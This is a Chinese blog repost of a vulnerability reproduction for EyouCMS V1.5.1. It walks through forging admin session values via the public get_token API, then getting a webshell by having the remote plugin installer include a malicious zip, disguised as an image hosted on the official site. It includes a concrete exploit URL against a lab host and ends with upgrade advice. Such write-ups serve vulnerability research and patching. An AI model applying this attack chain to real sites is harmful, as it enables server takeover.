如何进行EyouCMS V1.5.1 前台getshell漏洞复现


这篇文章将为大家详细讲解有关如何进行EyouCMS V1.5.1 前台getshell漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。EyouCMS 下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip安装
通过phpstudy集成环境简单部署
前台设置管理员session在application/api/controller/Ajax.php:215get_token函数是可以前台随意调用的,另外形参中的$name变量也是通过http传递进来的。跟进token函数,如下图所示。
高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54这里涉及到了两个session,一个admin_login_expire,一个admin_idadmin_login_expire(该session会做减法的校验,需要满足一定条件)admin_id(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个check_priv函数,跟进查看:
admin_info.role_id(满足小于等于0即可)
设置完三个session后,就可以进后台了,如图所示:
后台远程插件下载getshell在application/admin/controller/Weapp.php:1235这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。
也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。
然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。
这后面再做的插件标准判断已经不起作用了。前台设置一个管理员的session
首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比
管理员:
普通用户:
调用get_token函数设置名为admin_login_expire的session
再查看该普通用户的session
已成功设置。
同样的我们可以把admin_id与admin_info.roke_id添加进去。
但是这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值运行结果:
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:weapppweapptestconfig.phpconfig.php文件内容为写入webshell压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg免费云主机域名
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。关于如何进行EyouCMS V1.5.1 前台getshell漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

相关推荐: Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析

这篇文章将为大家详细讲解有关Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。每一天都是新的一天。没啥吐槽的,步入正题首先我们需要直到,注意…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/07 09:59
下一篇 02/07 09:59